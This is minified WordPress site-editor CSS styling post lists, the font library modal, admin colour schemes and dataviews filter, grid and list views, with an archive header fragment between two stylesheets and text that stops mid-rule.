.edit-site-post-list__featured-image-button:after,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)):after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;position:absolute;top:0;width:100%}.edit-site-post-list__featured-image-button{background-color:unset;border:none;border-radius:4px;box-shadow:none;box-sizing:border-box;cursor:pointer;height:100%;overflow:hidden;padding:0;width:100%}.edit-site-post-list__featured-image-button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-view-grid__card.is-selected .edit-site-post-list__featured-image-button:after{background:rgba(var(--wp-admin-theme-color--rgb),.04);box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-post-list__status-icon{height:24px;width:24px}.edit-site-post-list__status-icon svg{fill:currentColor;margin-left:-4px}.edit-site-resizable-frame__inner{position:relative}body:has(.edit-site-resizable-frame__inner.is-resizing){cursor:col-resize;user-select:none;-webkit-user-select:none}.edit-site-resizable-frame__inner.is-resizing:before{content:"";inset:0;position:absolute;z-index:1}.edit-site-resizable-frame__inner-content{inset:0;position:absolute;z-index:0}.edit-site-resizable-frame__handle{align-items:center;background-color:#75757566;border:0;border-radius:4px;cursor:col-resize;display:flex;height:64px;justify-content:flex-end;padding:0;position:absolute;top:calc(50% - 32px);width:4px;z-index:100}.edit-site-resizable-frame__handle:before{content:"";height:100%;left:100%;position:absolute;width:32px}.edit-site-resizable-frame__handle:after{content:"";height:100%;position:absolute;right:100%;width:32px}.edit-site-resizable-frame__handle:focus-visible{outline:2px solid #0000}.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{background-color:var(--wp-admin-theme-color)}.edit-site-push-changes-to-global-styles-control .components-button{justify-content:center;width:100%}@media (min-width:782px){.font-library-modal.font-library-modal{width:65vw}}.font-library-modal .components-modal__header{border-bottom:none}.font-library-modal .components-modal__content{margin-bottom:70px;padding-top:0}.font-library-modal .font-library-modal__subtitle{font-size:11px;font-weight:500;text-transform:uppercase}.font-library-modal .components-navigator-screen{padding:3px}.font-library-modal__tabpanel-layout{margin-top:32px}.font-library-modal__tabpanel-layout .font-library-modal__loading{align-items:center;display:flex;height:100%;justify-content:center;left:0;padding-top:120px;position:absolute;top:0;width:100%}.font-library-modal__footer{background-color:#fff;border-top:1px solid #ddd;bottom:32px;height:70px;margin:0 -32px -32px;padding:16px 32px;position:absolute;width:100%}.font-library-modal__page-selection{font-size:11px;font-weight:500;text-transform:uppercase}@media (min-width:600px){.font-library-modal__page-selection .components-select-control__input{font-size:11px!important;font-weight:500}}.font-library-modal__tabpanel-layout .components-base-control__field{margin-bottom:0}.font-library-modal__fonts-title{font-size:11px;font-weight:600;margin-bottom:0;margin-top:0;text-transform:uppercase}.font-library-modal__fonts-list{margin-bottom:0;margin-top:0}.font-library-modal__fonts-list-item{margin-bottom:0}.font-library-modal__font-card{border:1px solid #e0e0e0;height:auto!important;margin-top:-1px;padding:16px;width:100%}.font-library-modal__font-card:hover{background-color:#f0f0f0}.font-library-modal__font-card .font-library-modal__font-card__name{font-weight:700}.font-library-modal__font-card .font-library-modal__font-card__count{color:#757575}.font-library-modal__font-card .font-library-modal__font-variant_demo-image{display:block;height:24px;width:auto}.font-library-modal__font-card .font-library-modal__font-variant_demo-text{flex-shrink:0;white-space:nowrap}@media not (prefers-reduced-motion){.font-library-modal__font-card .font-library-modal__font-variant_demo-text{transition:opacity .3s ease-in-out}}.font-library-modal__font-variant{border-bottom:1px solid #e0e0e0;padding-bottom:16px}.font-library-modal__tablist-container{background:#fff;border-bottom:1px solid #ddd;margin:0 -32px;padding:0 16px;position:sticky;top:0;z-index:1}.font-library-modal__tablist-container [role=tablist]{margin-bottom:-1px}.font-library-modal__upload-area{align-items:center;display:flex;height:256px!important;justify-content:center;width:100%}button.font-library-modal__upload-area{background-color:#f0f0f0}.font-library-modal__local-fonts{margin:0 auto;width:80%}.font-library-modal__local-fonts .font-library-modal__upload-area__text{color:#757575}.font-library__google-fonts-confirm{align-items:center;display:flex;justify-content:center;margin-top:64px}.font-library__google-fonts-confirm p{line-height:1.4}.font-library__google-fonts-confirm h2{font-size:1.2rem;font-weight:400}.font-library__google-fonts-confirm .components-card{padding:16px;width:400px}.font-library__google-fonts-confirm .components-button{justify-content:center;width:100%}.font-library-modal__select-all{padding:16px 16px 16px 17px}.font-library-modal__select-all .components-checkbox-control__label{padding-left:16px}.edit-site-pagination .components-button.is-tertiary{height:32px;justify-content:center;width:32px}.edit-site-global-styles-variations_item{box-sizing:border-box;cursor:pointer}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{border-radius:2px;outline:1px solid #0000001a;outline-offset:-1px;overflow:hidden;position:relative}@media not (prefers-reduced-motion){.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{transition:outline .1s linear}}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill{height:32px}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill .block-editor-iframe__scale-container{overflow:hidden}.edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{outline-color:#0000004d}.edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview,.edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{outline-color:#1e1e1e;outline-offset:1px;outline-width:var(--wp-admin-border-width-focus)}.edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{outline-color:var(--wp-admin-theme-color)}.edit-site-styles .edit-site-page-content .edit-site-global-styles-screen-root{box-shadow:none}.edit-site-styles .edit-site-page-content .edit-site-global-styles-screen-root>div>hr{display:none}.edit-site-styles .edit-site-page-content .edit-site-global-styles-sidebar__navigator-provider{overflow-y:auto;padding-left:0;padding-right:0}.edit-site-styles .edit-site-page-content .edit-site-global-styles-sidebar__navigator-provider .components-tools-panel{border-top:none}.edit-site-styles .edit-site-page-content .edit-site-global-styles-sidebar__navigator-provider .edit-site-global-styles-sidebar__navigator-screen{outline:none;padding:12px}.edit-site-styles .edit-site-page-content .edit-site-page-header{padding-left:48px;padding-right:48px}@container (max-width: 430px){.edit-site-styles .edit-site-page-content .edit-site-page-header{padding-left:24px;padding-right:24px}}.edit-site-styles .edit-site-page-content .edit-site-sidebar-button{color:#1e1e1e}.show-icon-labels .edit-site-styles .edit-site-page-content .edit-site-page-header__actions .components-button.has-icon{padding:0 8px;width:auto}.show-icon-labels .edit-site-styles .edit-site-page-content .edit-site-page-header__actions .components-button.has-icon svg{display:none}.show-icon-labels .edit-site-styles .edit-site-page-content .edit-site-page-header__actions .components-button.has-icon:after{content:attr(aria-label);font-size:12px}::view-transition-image-pair(root){isolation:auto}::view-transition-new(root),::view-transition-old(root){animation:none;display:block;mix-blend-mode:normal}body.js #wpadminbar{display:none}body.js #wpbody{padding-top:0}body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{background:#fff}body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{padding-left:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{padding-bottom:0}body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{display:none}body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{left:-1px;top:-1px}body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{border-right-color:#fff}body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}body.js.site-editor-php{background:#1e1e1e}.edit-site{box-sizing:border-box;height:100vh}.edit-site *,.edit-site :after,.edit-site :before{box-sizing:inherit}@media (min-width:600px){.edit-site{bottom:0;left:0;min-height:100vh;position:fixed;right:0;top:0}}.no-js .edit-site{min-height:0;position:static}.edit-site .interface-interface-skeleton{top:0}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}PK1Xd[��.���dist/edit-site/posts.min.cssnu�[���@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.dataviews-wrapper{box-sizing:border-box;container:dataviews-wrapper/inline-size;display:flex;flex-direction:column;font-size:13px;height:100%;line-height:1.4;overflow:auto;scroll-padding-bottom:64px}.dataviews-filters__container,.dataviews__view-actions{box-sizing:border-box;flex-shrink:0;left:0;padding:16px 48px;position:sticky}@media not (prefers-reduced-motion){.dataviews-filters__container,.dataviews__view-actions{transition:padding .1s ease-out}}.dataviews-loading,.dataviews-no-results{align-items:center;display:flex;flex-grow:1;justify-content:center;padding:0 48px}@media not (prefers-reduced-motion){.dataviews-loading,.dataviews-no-results{transition:padding .1s ease-out}}@container (max-width: 430px){.dataviews-filters__container,.dataviews__view-actions{padding:12px 24px}.dataviews-loading,.dataviews-no-results{padding-left:24px;padding-right:24px}}.dataviews-title-field{font-size:13px;font-weight:500;width:100%}.dataviews-title-field,.dataviews-title-field a{color:#2f2f2f;text-overflow:ellipsis;white-space:nowrap}.dataviews-title-field a{display:block;flex-grow:0;overflow:hidden;text-decoration:none}.dataviews-title-field a:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field a:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.dataviews-title-field button.components-button.is-link{color:#1e1e1e;display:block;font-weight:inherit;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;width:100%}.dataviews-title-field button.components-button.is-link:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable{color:#2f2f2f;cursor:pointer}.dataviews-title-field--clickable:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.dataviews-bulk-actions-footer__item-count{color:#1e1e1e;font-size:11px;font-weight:500;text-transform:uppercase}.dataviews-bulk-actions-footer__container{margin-right:auto;min-height:32px}.dataviews-filters__button{position:relative}.dataviews-filters__container{padding-top:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{opacity:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{opacity:1}.dataviews-filters__summary-popover{font-size:13px;line-height:1.4}.dataviews-filters__summary-popover .components-popover__content{border-radius:4px;width:230px}.dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{padding:0}.dataviews-filters__summary-operators-container{padding:8px 8px 0}.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox){border-bottom:1px solid #e0e0e0;padding-bottom:8px}.dataviews-filters__summary-operators-container:empty{display:none}.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{color:#757575}.dataviews-filters__summary-chip-container{position:relative;white-space:pre-wrap}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{align-items:center;background:#f0f0f0;border:1px solid #0000;border-radius:16px;box-sizing:border-box;color:#2f2f2f;cursor:pointer;display:flex;min-height:32px;padding:4px 12px;position:relative}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{padding-inline-end:28px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{background:#e0e0e0;color:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{background:rgba(var(--wp-admin-theme-color--rgb),.04);color:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{background:rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{font-weight:500}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{align-items:center;background:#0000;border:0;border-radius:50%;cursor:pointer;display:flex;height:24px;justify-content:center;padding:0;position:absolute;right:4px;top:50%;transform:translateY(-50%);width:24px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{fill:#757575}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{background:#e0e0e0}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{fill:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{fill:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{background:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__search-widget-filter-combobox-list{border-top:1px solid #e0e0e0;max-height:184px;overflow:auto;padding:4px}.dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{font-weight:600}.dataviews-filters__search-widget-listbox{overflow:auto;padding:4px}.dataviews-filters__search-widget-listitem{align-items:center;border-radius:2px;box-sizing:border-box;cursor:default;display:flex;gap:8px;margin-block-end:2px;padding:8px 12px}.dataviews-filters__search-widget-listitem:last-child{margin-block-end:0}.dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{background-color:var(--wp-admin-theme-color);color:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-check{fill:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{color:#fff}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-check{flex-shrink:0;height:24px;width:24px}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-description{color:#757575;display:block;font-size:12px;line-height:16px;overflow:hidden;text-overflow:ellipsis}.dataviews-filters__search-widget-filter-combobox__wrapper{padding:8px;position:relative}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{background:#f0f0f0;border:none;border-radius:2px;box-shadow:0 0 0 #0000;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:32px;line-height:normal;margin-left:0;margin-right:0;padding:0 32px 0 8px;width:100%}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px;line-height:normal}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{color:#1e1e1e9e}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{background:#fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{color:#757575}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{-webkit-appearance:none}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon{align-items:center;display:flex;justify-content:center;position:absolute;right:12px;top:50%;transform:translateY(-50%);width:24px}.dataviews-filters__container-visibility-toggle{flex-shrink:0;position:relative}.dataviews-filters-toggle__count{background:var(--wp-admin-theme-color,#3858e9);border-radius:8px;box-sizing:border-box;color:#fff;font-size:11px;height:16px;line-height:16px;min-width:16px;outline:var(--wp-admin-border-width-focus) solid #fff;padding:0 4px;position:absolute;right:0;text-align:center;top:0;transform:translate(50%,-50%)}.dataviews-search{width:fit-content}.dataviews-footer{background-color:#fff;border-top:1px solid #f0f0f0;bottom:0;flex-shrink:0;left:0;padding:12px 48px;position:sticky;z-index:2}@media not (prefers-reduced-motion){.dataviews-footer{transition:padding .1s ease-out}}@container (max-width: 430px){.dataviews-footer{padding:12px 24px}}@container (max-width: 560px){.dataviews-footer{flex-direction:column!important}.dataviews-footer .dataviews-bulk-actions-footer__container{width:100%}.dataviews-footer .dataviews-bulk-actions-footer__item-count{flex-grow:1}.dataviews-footer .dataviews-pagination{justify-content:space-between;width:100%}}.dataviews-pagination__page-select{font-size:11px;font-weight:500;text-transform:uppercase}@media (min-width:600px){.dataviews-pagination__page-select .components-select-control__input{font-size:11px!important;font-weight:500}}.dataviews-action-modal{z-index:1000001}.dataviews-selection-checkbox{--checkbox-input-size:24px;flex-shrink:0;line-height:0}@media (min-width:600px){.dataviews-selection-checkbox{--checkbox-input-size:16px}}.dataviews-selection-checkbox .components-checkbox-control__input-container{margin:0}.dataviews-view-config{container-type:inline-size;font-size:13px;line-height:1.4;width:320px}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{height:100%;overflow-y:scroll}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{width:auto}.dataviews-view-config__sort-direction .components-toggle-group-control-option-base{text-transform:uppercase}.dataviews-settings-section__title.dataviews-settings-section__title{font-size:15px;line-height:24px}.dataviews-settings-section__sidebar{grid-column:span 4}.dataviews-settings-section__content,.dataviews-settings-section__content>*{grid-column:span 8}.dataviews-settings-section__content .is-divided-in-two{display:contents}.dataviews-settings-section__content .is-divided-in-two>*{grid-column:span 4}.dataviews-settings-section:has(.dataviews-settings-section__content:empty){display:none}@container (max-width: 500px){.dataviews-settings-section.dataviews-settings-section{grid-template-columns:repeat(2,1fr)}.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{grid-column:span 2}}.dataviews-field-control__field{height:32px}.dataviews-field-control__actions{position:absolute;top:-9999em}.dataviews-field-control__actions.dataviews-field-control__actions{gap:4px}.dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{position:unset;top:unset}.dataviews-field-control__icon{display:flex;width:24px}.dataviews-field-control__label-sub-label-container{flex-grow:1}.dataviews-field-control__label{display:block}.dataviews-field-control__sub-label{color:#757575;font-size:11px;font-style:normal;margin-bottom:0;margin-top:8px}.dataviews-view-grid{container-type:inline-size;grid-template-rows:max-content;margin-bottom:auto;padding:0 48px 24px}@media not (prefers-reduced-motion){.dataviews-view-grid{transition:padding .1s ease-out}}.dataviews-view-grid .dataviews-view-grid__card{height:100%;justify-content:flex-start;position:relative}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{padding:8px 0 4px}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{align-items:center;display:flex;min-height:24px}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{width:fit-content}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{color:#1e1e1e}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__media{aspect-ratio:1/1;background-color:#f0f0f0;border-radius:4px;min-height:200px;position:relative;width:100%}.dataviews-view-grid .dataviews-view-grid__media img{height:100%;object-fit:cover;width:100%}.dataviews-view-grid .dataviews-view-grid__media:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;pointer-events:none;position:absolute;top:0;width:100%}.dataviews-view-grid .dataviews-view-grid__fields{font-size:12px;line-height:16px;position:relative}.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){padding:0 0 12px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field-value:not(:empty){line-height:20px;min-height:24px;padding-top:2px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field{align-items:center;min-height:24px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-name{color:#757575;width:35%}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:65%}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field:not(:has(.dataviews-view-grid__field-value:not(:empty))){display:none}.dataviews-view-grid .dataviews-view-grid__badge-fields:not(:empty){padding-bottom:12px}@container (max-width: 480px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(1,minmax(0,1fr));padding-left:24px;padding-right:24px}}@container (min-width: 480px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(2,minmax(0,1fr))}}@container (min-width: 780px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(3,minmax(0,1fr))}}@container (min-width: 1140px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(4,minmax(0,1fr))}}@container (min-width: 1520px){.dataviews-view-grid.dataviews-view-grid{grid-template-columns:repeat(5,minmax(0,1fr))}}.dataviews-view-grid__field-value:empty,.dataviews-view-grid__field:empty{display:none}.dataviews-view-grid__card .dataviews-selection-checkbox{left:8px;position:absolute;top:-9999em;z-index:1}.dataviews-view-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-grid__card:hover .dataviews-selection-checkbox{top:8px}.dataviews-view-grid__media--clickable{cursor:pointer}div.dataviews-view-list{list-style-type:none}.dataviews-view-list{margin:0 0 auto}.dataviews-view-list div[role=row]{border-top:1px solid #f0f0f0;margin:0}.dataviews-view-list div[role=row] .dataviews-view-list__item-wrapper{box-sizing:border-box;padding:16px 24px;position:relative}.dataviews-view-list div[role=row] .dataviews-view-list__item-actions{flex:0;overflow:hidden}.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>div{height:24px}.dataviews-view-list div[role=row] .dataviews-view-list__item-actions .components-button{opacity:0;position:relative;z-index:1}.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions{flex-basis:min-content;overflow:unset;padding-inline-end:4px}.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions .components-button{opacity:1}.dataviews-view-list div[role=row].is-selected.is-selected,.dataviews-view-list div[role=row].is-selected.is-selected+div[role=row]{border-top:1px solid rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-view-list div[role=row]:not(.is-selected) .dataviews-view-list__title-field{color:#1e1e1e}.dataviews-view-list div[role=row]:not(.is-selected).is-hovered,.dataviews-view-list div[role=row]:not(.is-selected):focus-within,.dataviews-view-list div[role=row]:not(.is-selected):hover{background-color:#f8f8f8;color:var(--wp-admin-theme-color)}.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):focus-within 